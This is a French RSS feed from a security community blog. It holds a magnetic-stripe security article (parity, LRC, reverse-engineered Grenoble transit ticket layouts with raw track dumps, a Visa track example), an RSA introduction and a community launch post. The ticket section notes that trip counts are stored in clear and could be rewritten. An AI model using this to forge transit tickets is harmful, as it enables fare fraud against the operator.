codages afin de chiffrer les informations contenues sur la carte. Pour tous ces problèmes il existe plusieurs solutions et nous allons en voir quelques-unes.</p>
<p><span style="color: #3366ff;"><strong><em>Le bit de parité :</em></strong></span><br />
Dans un premier temps, nous allons voir comment détecter les erreurs dans une séquence. Lorsque l’on reçoit un message binaire il est alors découper en séquence de n bits. Le contrôle par bit de<br />
parité consiste à rajouter un bit à la fin séquence. Si le nombre de 1 dans la séquence est pair alors le bit de parité sera égal à 0, et si le nombre de 1 est impair alors le bit de parité sera égal à 1.<br />
Par exemple :<br />
Pour une séquence 0110101 on rajoute un 0 à la fin ce qui donne 0110101<strong>0</strong><br />
Pour une séquence 0101100 on rajoute un 1 à la fin ce qui donne 0101100<strong>1</strong><br />
Bien que cette technique soit utile pour détecter des erreurs, elle ne permet en aucun cas de trouver où elle est apparue et donc de la corriger. Elle nécessite donc le renvoie du message. De plus, il existe plusieurs cas où elle est inefficace. Prenons par exemple un message original 0110101<strong>0</strong> et imaginons maintenant que deux erreurs se produisent sur deux bits différents. Le message devient 1010101<strong>0</strong>. On voit que le bit de parité n’est pas le même, bien qu’il y a eu erreur. On peut calculer la probabilité pour le contrôle de parité de détecter une erreur :<br />
<em>On suppose que chaque bit à la même probabilité <strong>p = 1/8</strong> d’avoir une erreur. Et l’erreur sur un bit ne dépend pas de l’erreur sur un autre bit. Les éléments sont indépendants. Soit <strong>X</strong> le nombre de bits erronés dans un message, et suit une loi binomiale de paramètre <strong>n</strong>. On a donc la probabilité pour une erreur sur <strong>k</strong> positions :</em></p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/form.png"><img class="alignnone size-full wp-image-126" title="form" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/form.png" alt="" width="263" height="58" /></a></p>
<p><em>La probabilité que la transmission réussisse est P(0) = q</em><sup> 8</sup></p>
<p><span style="color: #3366ff;"><strong><em>LRC (Longitudinal Redundancy Check) :</em></strong></span><br />
Le LRC est, tout comme le bit de parité, un contrôle pour la détection des erreurs. Il permet lui aussi de s’assurer de l’intégrité des données lues. A lui tout seul, il n’est guère plus efficace que le contrôle par bit de parité mais en combinant les deux, on obtient certes une séquence plus longue mais qui détecte un grand nombre d’erreurs. Il fonctionne en appliquant un XOR (ou exclusif) « glissant » sur la totalité de la séquence. Prenons l’exemple d’une séquence : 1, 2, 3, 4 qui se représente en binaire par 0001, 0010, 0011, 0100 (bit de poids faible à droite).<br />
Le LRC pour cette séquence donne :</p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/Capture-4.png"></a><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/Capture-4.png"><img class="alignnone size-full wp-image-127" title="schema" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/Capture-4.png" alt="" width="637" height="204" /></a></p>
<p>&nbsp;</p>
<p>Ensuite on ajoute à chaque bloc le bit de parité qui sera donc : 0001<strong>1</strong>, 0010<strong>1</strong>, 0011<strong>0</strong>, 0100<strong>1</strong>, 0100<strong>1</strong>.<br />
Dans les cas des cartes magnétiques, le contrôle LRC est appliqué bit par bit à tous les caractères<br />
contenus entre les drapeaux <em>START</em> et <em>END.</em> Il sera donc mis à la suite du drapeau <em>END.</em></p>
<p>&nbsp;</p>
<p><em><span style="color: #3366ff;"><strong>Nature des données :</strong></span></em><br />
Avant tout, la sécurité qu’on apporte à des données doit être spécifique à leur nature. On évitera<br />
alors de stocker des données confidentielles sur un support lisible facilement (comme une bande<br />
magnétique), mais on favorisera l’utilisation d’un identifiant unique. Une fois la carte lue, on utilisera<br />
l’identifiant qu’elle contenait pour l’envoyer à un serveur distant et récupérer les informations<br />
confidentielles. Cela permet d’éviter tout problème de réécriture par modification des données, car<br />
seules certaines machines ayant les autorisations nécessaires pourront modifier les informations<br />
contenues directement sur le serveur, et non sur la carte.</p>
<p>&nbsp;</p>
<p><span style="color: #3366ff;"><em><strong>Cryptographie :</strong></em></span><br />
Un autre moyen utilisé pour empêcher cette fois-ci la lecture de l’information. On se base sur<br />
quelque chose que la personne connaît (un code PIN par exemple). Avec un algorithme de<br />
chiffrement (exemple : DES utilisé par les cartes bancaires), on déchiffre les informations contenues<br />
sur la bande avec le code PIN fournit par l’utilisateur. Le lecteur vérifie ensuite la validité de la carte<br />
pour savoir si le code est correct. On peut aussi imaginer coupler plusieurs vecteurs couplés à<br />
l’utilisation d’une carte magnétique : biométrie, reconnaissance vocale &#8230;</p>
<p>&nbsp;</p>
<h1><span style="color: #3366ff;">Exemples de cartes magnétiques :</span></h1>
<p>Dans cette partie nous allons étudier deux types de cartes à bande magnétique : les tickets de bus et<br />
tram de la Semitag (Société d&#8217;économie mixte des transports publics de l&#8217;agglomération<br />
grenobloise) ; et les cartes bancaires Visa.<br />
<span style="color: #3366ff;"><em><strong>Les tickets de bus et de tramway :</strong></em></span><br />
Nous allons prendre l&#8217;exemple d&#8217;un ticket de bus/tram délivré par la semitag (transport en commun<br />
de l’agglomération grenobloise). Nous avons à notre disposition une machine permettant de lire les<br />
cartes à bande magnétique. Cet appareil nous permet de vérifier très facilement le passage du LRC et<br />
du bit de parité, puisque la machine envoie les données à l&#8217;ordinateur uniquement lorsque la<br />
séquence est valide (toutes les machines fonctionnent comme cela). Nous avons aussi développé un<br />
programme sommaire pour interpréter les données sur la carte (affichage du drapeau Start/end,<br />
reconnaissance de la piste, etc. disponible dans l&#8217;archive.<br />
Après avoir récupéré un certain nombre de cartes, nous avons pu par rétro-ingénierie interpréter<br />
certaines données.<br />
Sur un ticket de bus/tram, seul la piste ISO-2 est utilisée à l&#8217;exception que 43 caractères sont<br />
présents et non 40. Les données sont disposées selon ce schéma (ce ne sont uniquement que des<br />
suppositions faites par déduction) :</p>
<p><em>{Start}{Type de Carte} {Voyage Restant/Temps restant(?)} {??????} {ID de la borne : ID_BUS+IDBorne}</em><br />
<em>00002{End}</em><br />
<em>Type de Carte (5 bits) : 87401 (1 voyage), 87402 (10 voyages) 87415 (Visitag 1 jour)</em><br />
<em>Voyage restant (8 bits) : entier positif</em><br />
<em>Temps restant (8 bits) : reste à déterminer</em><br />
<em>?????? (6 bits): à déterminer</em><br />
<em>ID_Bus/Tram (4 bits) : la ligne ou 8*00 pour une borne de tram</em><br />
<em>ID Borne (12 bits) : l&#8217;ID de la borne qui a validé le ticket</em><br />
<em>00002 : Se finit toujours par 00002 (bits de remplissage ?)</em></p>
<p>Les différentes sauvegardes des pistes effectuées sont disponibles en annexe.</p>
<p>&nbsp;</p>
<p>On voit alors que le nombre de voyage restant est marqué en clair sur la piste magnétique. Il est alors<br />
très facile avec une simple machine permettant d&#8217;écrire sur les cartes de rendre une carte<br />
« illimitée » !<br />
Économiquement parlant, la solution de mettre ces données en claires est avantageuse pour la<br />
semitag. Les bornes n&#8217;ont pas besoin d&#8217;être reliées à un terminal central (ce qui est un dispositif<br />
coûteux). De plus le prix d&#8217;une machine permettant d&#8217;écrire sur une bande magnétique est d&#8217;environ<br />
225 €. Le coup de la machine est donc beaucoup plus élevé que le prix d&#8217;un ticket. Rendre un ticket<br />
« illimité » n&#8217;a donc pas de réel intérêt économique.<br />
Cependant, d&#8217;un point de vue strictement sécuritaire, on ne peut considérer ce type de ticket comme<br />
sûr.<br />
<em><strong><span style="color: #3366ff;">Les cartes bancaires VISA :</span></strong></em><br />
Nous allons maintenant nous intéresser aux cartes bancaires ainsi qu’à leurs données stockées sur la<br />
bande magnétique. La bande magnétique des cartes bancaires est une simple reproduction de la<br />
puce, les informations stockées sont exactement les mêmes, mais la carte à puce est maintenant<br />
beaucoup plus sécurisée et donc beaucoup plus utilisé pour les paiements.<br />
Les informations contenues sur les différentes pistes sont aussi les nombres et les noms gravés sur la<br />
carte :</p>
<p>Par exemple :</p>
<ul>
<li>Détenteur de la carte : Mr Jean MARC</li>
<li>Numéro de la carte : 49757860XXXX4768</li>
<li>Expiration : 09/13</li>
</ul>
<p>Piste Iso 1 :</p>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/06/Capture-5.png"><img class="alignnone size-full wp-image-128" title="iso1" src="http://blog.zenk-security.com/wp-content/uploads/2011/06/Capture-5.png" alt="" width="577" height="240" /></a></p>
<p>&nbsp;</p>
<p>Contrairement a ce que l’on pourrait penser ces informations parfaitement lisible par un simple<br />
lecteur de cartes, seul les données sensibles contenue sur la carte tel que le numéro du<br />
cryptogramme visuel est crypté (ce qui est logique car on peut payer uniquement en sachant ce<br />
numéro et le numéro de la carte sur internet). Le code PIN permet alors de déchiffrer les données sur<br />
la carte.</p>
<p>&nbsp;</p>
<p><strong><em><span style="color: #3366ff;">Conclusion :</span></em></strong><br />
En conclusion, on peut observer que, bien qu’il existe différents moyens permettant de vérifier<br />
l’intégrité des données et de les sécuriser, la carte à bande magnétique n’est pas un moyen sûr pour<br />
stocker des informations confidentiels. En effet, bien que les bandes magnétiques soient<br />
économiquement avantageuses à produise, la possibilité de lecture et d’écriture rend la sécurité des<br />
données trop faible. D’autres moyens ont alors étaient mis en place pour le stockage des données<br />
sur une carte, comme par exemple les cartes à puces ou la technologie RFID.</p>
<p>&nbsp;</p>
<p><strong><em><span style="color: #3366ff;">Bibliographie :</span></em></strong></p>
<ul>
<li><a href="http://sysdoc.doors.ch/ASCOM/Validators_e.pdf">http://sysdoc.doors.ch/ASCOM/Validators_e.pdf (ticket tram)</a></li>
<li><a href="http://www.certu.fr/fr/_Syst%C3%A8mes_de_transports-n26/Intermodalit%C3%A9-n80/Billettique-n82/IMG/pdf/recensement.pdf">http://www.certu.fr/fr/_Syst%C3%A8mes_de_transports-n26/Intermodalit%C3%A9-n80/Billettique-n82/IMG/pdf/recensement.pdf (ticket tram)</a></li>
<li><a href="http://parodie.com/monetique/vulnerabilite.htm">http://parodie.com/monetique/vulnerabilite.htm (info CB DES56)</a></li>
<li><a href="http://www.latelierweb.com/infoweb/securite/info&amp;secuCarte/carteB.txt">http://www.latelierweb.com/infoweb/securite/info&amp;secuCarte/carteB.txt (Info CB)</a></li>
<li><a href="http://stripesnoop.sourceforge.net/devel/layoutstd.pdf">http://stripesnoop.sourceforge.net/devel/layoutstd.pdf (Données sur une CB)</a></li>
<li><a href="http://stripesnoop.sourceforge.net/devel/">http://stripesnoop.sourceforge.net/devel/ (Doc sur les cartes)</a></li>
<li><a href="http://en.wikipedia.org/wiki/Magnetic_stripe_card/">http://en.wikipedia.org/wiki/Magnetic_stripe_card (Codage de l&#8217;information sur une CB)</a></li>
<li>Electromagnétisme théorie et application Elie Boridy &#8211; presses de l&#8217;université du Québec</li>
<li><a href="http://www.gae.ucm.es/~padilla/extrawork/magexam1.html">http://www.gae.ucm.es/~padilla/extrawork/magexam1.html (carte de crédit)</a></li>
<li>&laquo;&nbsp;Cartes Magnétiques et PC &#8211; Patrick Gueulle &#8211; Ed. Techniques et Scientifiques Françaises 1997</li>
<li>Introduction aux Codes Correcteurs &#8211; Pierre Csillag &#8211; Ellipse 1990</li>
<li>Codes Correcteurs d’Erreurs – Gérard Cohen, Jean-Louis Dornstetter, Philippe Godlewski –</li>
<li>MASSON 1992</li>
<li>Magnétisme : Statique, induction et milieux &#8211; Christian Garing – Ellipse 1999</li>
<li>Magnétisme – Etienne du Trémolet de la Lacheisserie – EDP 2001</li>
<li><a href="http://www.cyberd.co.uk/support/technotes/isocards.htm">http://www.cyberd.co.uk/support/technotes/isocards.htm</a></li>
</ul>
<p>&nbsp;</p>
<p><span style="color: #3366ff;"><em><strong>Annexe:</strong></em></span></p>
<p>Table de caractère 7bits :</p>
<p><a href="http://www.cyberd.co.uk/support/technotes/isocards.htm">http://www.cyberd.co.uk/support/technotes/isocards.htm</a></p>
<p>&nbsp;</p>
<p>Relevé carte Tag :<br />
&#8211; 10 voyages (jaune)<br />
CODE BARRE : 3000000390016<br />
09NOV 16h47 600 SOLDE 09<br />
10NOV 07h00 411 SOLDE 08<br />
12NOV 16h36 600 SOLDE 06<br />
16NOV 07h00 411 SOLDE 05<br />
{Start}8740200000005461220411009000100540600002{End}<br />
SOLDE 01<br />
{Start}8740200000001464690600013000100070400002{End}<br />
&#8211; 1 Voyage<br />
12NOV 06h47 111 SOLDE 00<br />
{Start}8740100000000455447111005000100092900002{End}<br />
&#8211; /!\ Bug /!\ &#8212; 30(10) voyages (bleue)<br />
CODE BARRE : 3000000390047<br />
03SEP 16h57 410 SOLDE 01<br />
{Start}8740200000000392539410014000100541600002{End}<br />
&#8211; 1 Voyage<br />
03SEP 10h21 410 SOLDE 00<br />
{Start}8740100000000354861410006000100541300002{End}<br />
&#8211; 10 voyages (jaune)<br />
CODE BARRE : 3000000390016<br />
27AOU 09h34 411 SOLDE 00<br />
{Start}8740200000000344734411014000100540600002{End}<br />
&#8211; 10 voyages (bleue)<br />
12OCT 14h05 411 SOLDE 00<br />
{Start}8747100000000411245411014000100540600002{End}<br />
&#8211; 1 Voyage<br />
{Start}8740100000000373391800005000100000900002{End}<br />
{Start}8740100000000385552321005000100043300002{End}<br />
{Start}8740100000000389564891005000100001900002{End}<br />
{Start}8740100000000369324891005000100002200002{End}<br />
{Start}8740100000000384916800005000100000900002{End}<br />
{Start}8740100000000362128800005000100000900002{End}<br />
{Start}8740100000000383476800005000100000900002{End}<br />
&#8211; Visitag 1 jour<br />
{Start}8741500265000382036800013000100000900002{End}<br />
{Start}8741500263000379742261015000100302800002{End}<br />
{Start}8741500264000380596800013000100000900002{End}<br />
{Start}8741500271000390674800013000100000900002{End}<br />
{Start}8741500257000370536811013000100003500002{End}<br />
&#8211; Promo 15 Septembre<br />
{Start}8743300258000372777810013000100003500002{End}</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2011/06/10/securite-des-cartes-a-bande-magnetique/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>&#171;&#160;Repères – Comprendre RSA&#160;&#187; nico34 – buffer</title>
		<link>http://blog.zenk-security.com/index.php/2011/05/20/reperes-%e2%80%93-comprendre-rsa-nico34-%e2%80%93-buffer/</link>
		<comments>http://blog.zenk-security.com/index.php/2011/05/20/reperes-%e2%80%93-comprendre-rsa-nico34-%e2%80%93-buffer/#comments</comments>
		<pubDate>Thu, 19 May 2011 23:02:44 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[cryptographie]]></category>
		<category><![CDATA[Groupes de travail]]></category>
		<category><![CDATA[Nico34-buffer]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[cryptage]]></category>
		<category><![CDATA[informatique]]></category>
		<category><![CDATA[nico34]]></category>
		<category><![CDATA[RSA]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[zenk-security]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=47</guid>
		<description><![CDATA[13 avril 2011 Introduction RSA]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F05%2F20%2Freperes-%25e2%2580%2593-comprendre-rsa-nico34-%25e2%2580%2593-buffer%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F05%2F20%2Freperes-%25e2%2580%2593-comprendre-rsa-nico34-%25e2%2580%2593-buffer%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/05/rsa.jpg"><img class="alignleft size-full wp-image-65" title="rsa" src="http://blog.zenk-security.com/wp-content/uploads/2011/05/rsa.jpg" alt="" width="210" height="196" /></a>13 avril 2011</p>
<p><strong>Introduction<br />
</strong></p>
<p>RSA est un algorithme cryptographique qui fait partie de la catégorie des algortihmes à clés publiques ou systèmes asymétriques. L’acronyme RSA, créé en 1977, vient du nom de ses trois  inventeurs (Rivest, Shamir et Adleman). Ce chiffrement est le plus connu en termes d’algorithmes cryptographiques de type asymétrique. Nous le retrouvons beaucoup dans le e-commerce pour effectuer le paiement en ligne. Mais RSA est aussi utilisé dans les systèmes bancaires (cartes bleues). Ce chiffrement est également présent dans les signatures numériques de documents (clé PGP )  et dans les réseaux avec les connexions ssh (Security Shell) via des logiciels comme OpenSSL très connu dans les systèmes de type Unix.</p>
<p>Tout d’abord, il est nécessaire de préciser quelques points pour les personnes qui ne sont pas adeptes de cryptographie. Nous avons parlé de système asymétrique, c’est-à-dire de sytème mettant en  oeuvre une clé publique et une clé privé qui servent respectivement à chiffrer et déchiffrer. A l’opposé, les systèmes symétriques ou à clé secrète utilisent une seule clé servant à chiffrer et à  déchiffrer, ce qui, à taille de clé comparable, rend l’information plus vulnérable.</p>
<p><span id="more-47"></span></p>
<p><strong>1.1 L’évolution de la cryptographie d’un point de vue non-technique</strong></p>
<p>Jusqu’en 1999 la loi française interdisait toute utilisation de logiciels de chiffrement de données, ceux-ci étant considérés comme des armes de guerre de 2ème catégorie. Plus tard, la loi s’est  assouplie grâce à Lionel Jospin en autorisant l’utilisation de la cryptographie aux particuliers notamment pour favoriser le commerce électronique. Il faut savoir que depuis le 11 septembre 2001, l’utilisation de la cryptographie a fait débat après que les médias ont déclaré que certains terroristes utilisaient la cryptographie pour communiquer et organiser des attentats. Suite à l’augmentation de l’utilisation, ou plutôt la démocratisation des technique de surveillance, les particuliers s’intéressent de plus en plus à la sécurité de leurs données. Néanmoins, le fait que les particuliers  protègent leurs données via des techniques de cryptographie n’arrange pas les gouvernements qui se doivent de contrôler toutes les informations transitant entre les pays. Par contre, suite aux échos de l’affaire Echelon et à la sensibilisation faite auprès des entreprises françaises, les industriels se sont mis à chiffrer leurs données considérées comme confidentielles pour éviter l’espionnage industriel . De plus, depuis la sortie de la loi Hadopi, les Etats-Unis reprochent à la France de parer à la cybersurveillance des internautes en les incitants à chiffrer leurs données de communication.</p>
<p>En revanche le gouvernement s’autorise d’après l’article 434-15-2 du code pénal , de demander la clé ayant servi à chiffrer des messages susceptibles d’avoir été en relation avec un crime ou un délit.</p>
<blockquote><p>Est puni de trois ans d’emprisonnement et de 45 000 euros d’amende le fait, pour quiconque ayant connaissance de la convention secrète de déchiffrement d’un moyen de cryptologie susceptible  d’avoir été utilisé pour préparer, faciliter ou commettre un crime ou un délit, de refuser de remettre ladite convention aux autorités judiciaires ou de la mettre en oeuvre, sur les réquisitions de ces  autorités délivrées en application des titres II et III du livre Ier du code de procédure pénale.</p></blockquote>
<p style="text-align: center;"><a href="http://blog.zenk-security.com/wp-content/uploads/2011/05/pasdelib.png"><img class="size-full wp-image-51 aligncenter" title="pasdelib" src="http://blog.zenk-security.com/wp-content/uploads/2011/05/pasdelib.png" alt="" width="157" height="90" /></a></p>
<blockquote><p>Si le refus est opposé alors que la remise ou la mise en oeuvre de la convention aurait permis d’éviter la commission d’un crime ou d’un délit ou d’en limiter les effets, la peine est portée à cinq ans d’emprisonnement et à 75 000 euros d’amende.</p></blockquote>
<p>Par ailleurs, un organisme gouvernemental connu sous le nom de Centre Technique d’Assistance (CTA), peut, dans le cadre d’une enquète et si le mot de passe de l’expéditeur n’est pas divulgué,  recourir à une cryptanalyse des données du disque dur de cette même personne. Cette organisation est protégée par le secret défense ; c’est-à-dire à partir du moment où une communication en rapport avec l’enquête a été interceptée puis rapportée au CTA, et que celle-ci présente un délit ou un crime, il ne peut pas y avoir de contre-expertise.</p>
<p><strong>1.2 Notions à propos du système RSA</strong></p>
<p>La première clé est la clé publique, elle est visible par tout le monde et est composée de deux nombres distincts : un module – lui-même le produit de deux nombres premiers – et un exposant public, que l’on appelera, respectivement, dans cet article, n et e. La clé publique sert à chiffrer le message. La deuxième clé de la paire est appelée clé privée, elle sert à déchiffrer le message. Celle si est connue par le créateur de la paire de clé seulement. Elle est composée du même module n que la clé publique et d’un exposant privé que l’on nommera d. La clé privée sert à déchiffrer le  message.</p>
<p><strong>La suite de l&#8217;article en version <a href="https://repo.zenk-security.com/Cryptographie%20.%20Algorithmes%20.%20Steganographie/RSA/index.htm" target="_blank">HTML</a>:</strong></p>
<p><strong>La suite de l&#8217;article en version <a title="PDF" href="https://repo.zenk-security.com/Cryptographie%20.%20Algorithmes%20.%20Steganographie/RSA/Reperes%20RSA.pdf" target="_blank">PDF</a>:</strong></p>
<p style="text-align: center;">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2011/05/20/reperes-%e2%80%93-comprendre-rsa-nico34-%e2%80%93-buffer/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>La communauté zenk-security s&#8217;ouvre au monde.</title>
		<link>http://blog.zenk-security.com/index.php/2011/05/08/la-communaute-zenk-security-souvre-au-monde/</link>
		<comments>http://blog.zenk-security.com/index.php/2011/05/08/la-communaute-zenk-security-souvre-au-monde/#comments</comments>
		<pubDate>Sun, 08 May 2011 21:01:48 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[cryptographie]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Divers]]></category>
		<category><![CDATA[Groupes de travail]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nico34-buffer]]></category>
		<category><![CDATA[old-school]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[sécu-web]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[Tout les CTF]]></category>
		<category><![CDATA[Write-up]]></category>
		<category><![CDATA[communauté]]></category>
		<category><![CDATA[informatique]]></category>
		<category><![CDATA[membre]]></category>
		<category><![CDATA[poney]]></category>
		<category><![CDATA[tapz]]></category>
		<category><![CDATA[zenk-security]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=19</guid>
		<description><![CDATA[Bonjour à tous. &#160; Zenk-security]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F05%2F08%2Fla-communaute-zenk-security-souvre-au-monde%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F05%2F08%2Fla-communaute-zenk-security-souvre-au-monde%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://blog.zenk-security.com/wp-content/uploads/2011/05/cool-story-bro-house.jpg"><img class="alignleft size-medium wp-image-22" title="cool-story-bro-house" src="http://blog.zenk-security.com/wp-content/uploads/2011/05/cool-story-bro-house-262x300.jpg" alt="" width="262" height="300" /></a>Bonjour à tous. <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<p>Zenk-security décide de lancer son blog.</p>
<p>Quoi de plus commun me direz vous?</p>
<p>Et bien justement non, ce n&#8217;est pas commun et encore moins anodin comme décision.</p>
<p>Zenk-security c&#8217;est une communauté restreinte, ne fait pas partie de zenk-security qui veut, il faut passer des challenges, faire une chouette présentation, et plus dur il faut arriver à s&#8217;intégrer.</p>
<p>Pour ce premier article je me propose de revenir sur ce que nous sommes, ce que nous cherchons et ce que représente ce blog pour nous, bonne lecture. <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<p><strong>Qui sommes nous?</strong></p>
<p>Zenk-security, je vous l&#8217;ai dit, c&#8217;est une communauté, nous sommes passionnés de sécurité informatique, nous travaillons, réfléchissons et bidouillons ensemble pour évoluer ensemble. Dans la communauté on croise de tout, du lycéen à l&#8217;ingénieur, du jeune pré-pubère au vieux croulant et tout les niveaux se confondent pour apporter une pierre à notre édifice. Ce qui prime avant tout pour nous c&#8217;est la bonne humeur, c&#8217;est l&#8217;un des moteurs de la communauté, cette joie de partager avec ceux qui veulent progresser.</p>
<p>Voilà bientôt deux ans que zenk a vu le jour, à l&#8217;époque le forum était ouvert et la communauté s&#8217;est fondé sur le partage des connaissances. Nous affirmons que le savoir est une arme et que nous ne somme pas une armurerie mais qu&#8217;il peut être partagé entre tous de manière totalement gratuite et totalement libre à condition d&#8217;avoir la présence d&#8217;esprit de s&#8217;en servir de manière responsable.</p>
<p>Aujourd&#8217;hui zenk-security est devenu plus complexe, nous avons restreint l’accès pour favoriser l&#8217;échange au sein de la communauté et parce que nous avons compris que la connaissance, bien que neutre, pouvait être employée par des gens qui n&#8217;avait pas la maturité pour mesurer les répercutions de leurs actes. Nous ne prétendons pas être des &laquo;&nbsp;white hat&nbsp;&raquo; et nous rejetons de manière générale cette vision manichéenne des choses, nous ne prétendons pas non plus être des &laquo;&nbsp;hacker&nbsp;&raquo;, terme selon nous galvaudé par ces mêmes personnes qui n&#8217;ont pas la maturité nécessaire à l&#8217;utilisation réfléchie d&#8217;un savoir qu&#8217;ils ne comprennent que partiellement.</p>
<p>Nous ne réfléchissons pas non plus à ce que nous pourrions être ou ne pas être, nous apprenons, nous partageons et nous évoluons parce que nous aimons cela et parce que les rencontres qu&#8217;on fait dans le milieu de la sécurité informatique sont source de nouvelles compétences.</p>
<p>Le savoir pour le savoir est un credo qui nous anime tous et qui nous voulons aujourd&#8217;hui partager.</p>
<p>&nbsp;</p>
<p><strong>L&#8217;importance d&#8217;un blog?</strong></p>
<p>On pourrait se dire que si nous sommes une communauté fermée, quel est donc l’intérêt de lancer un blog?</p>
<p>Nous prônons le partage et nous empêchons l’accès à celui-ci sur notre forum&#8230;</p>
<p>Je vous l&#8217;ai expliqué plus haut cette restriction d’accès nous semblait nécessaire pour nous protéger, mais nous n&#8217;avons jamais oublié notre volonté de partager avec tout les curieux qui peuplent le web. <img src='http://blog.zenk-security.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Aujourd&#8217;hui c&#8217;est comme une renaissance pour zenk, nous allons à nouveau partager avec le monde entier (enfin au moins ceux qui voudront bien nous lire ^^), c&#8217;est important pour nous.</p>
<p>De plus avec ce blog nous allons augmenter notre visibilité et nous espéreront bien susciter de l’intérêt pour notre communauté, accueillir de nouveau membre pour renforcer notre dynamique de travail collaboratif et faire de nouvelles rencontres.</p>
<p>Ce blog est aussi un moyen de publier nous travaux une fois qu&#8217;ils sont aboutis, les writte-up des CTF auquel nous participons et toutes les petites news qui nous semblent importantes.</p>
<p>Pour le moment le blog est pour ainsi dire sans contenu, il n&#8217;y a que mon blabla de membre du staff névrosé, mais ça va se remplir petit à petit, dans la joie et la bonne humeur.</p>
<p>&nbsp;</p>
<p>Merci de m&#8217;avoir lu et bon surf parmi nous.</p>
<p>&nbsp;</p>
<p>Caracole</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2011/05/08/la-communaute-zenk-security-souvre-au-monde/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

